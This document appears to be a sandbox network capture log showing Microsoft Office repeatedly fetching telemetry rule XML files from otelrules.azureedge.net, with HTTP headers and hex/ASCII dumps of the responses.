2024-11-21 02:09:18 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020919Z-178bfbc474bkvpdnhC1NYCuu2w00000000xg00000000bunc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020918Z-178bfbc474b7cbwqhC1NYC8z4n00000000ug0000000027ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:18 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:19 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020918Z-178bfbc474brk967hC1NYCfu6000000000pg000000008e4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:20 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: d62c478f-901e-002a-4417-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020921Z-r1d97b99577hsvhhhC1TEByb1w0000000410000000007mq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:21 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:21 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020921Z-r1d97b99577mrt4rhC1TEBftkc00000009kg00000000ep4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:21 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b5bbaf22-a01e-0070-528a-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020921Z-r1d97b99577kk29chC1TEBemmg00000009sg00000000att9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:21 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 607d0db8-301e-0052-4363-3b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020921Z-178bfbc474btrnf9hC1NYCb80g00000000zg00000000g0hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:21 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9bd4509d-401e-005b-16fa-3a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020921Z-r1d97b99577656nchC1TEBk98c00000009tg000000007hya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:23 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: c70c13b9-401e-0064-2959-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020923Z-178bfbc474bscnbchC1NYCe7eg000000011g000000005ara x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:23 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:23 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020923Z-178bfbc474bbbqrhhC1NYCvw740000000120000000002uf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:23 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:23 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 625de90e-101e-005a-15ec-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020923Z-r1d97b99577dd2gchC1TEBz5ys00000009n0000000002kyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:23 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:23 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:23 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 9dcf90b9-e01e-000c-7364-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020923Z-178bfbc474bxkclvhC1NYC69g400000000ng000000015t1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
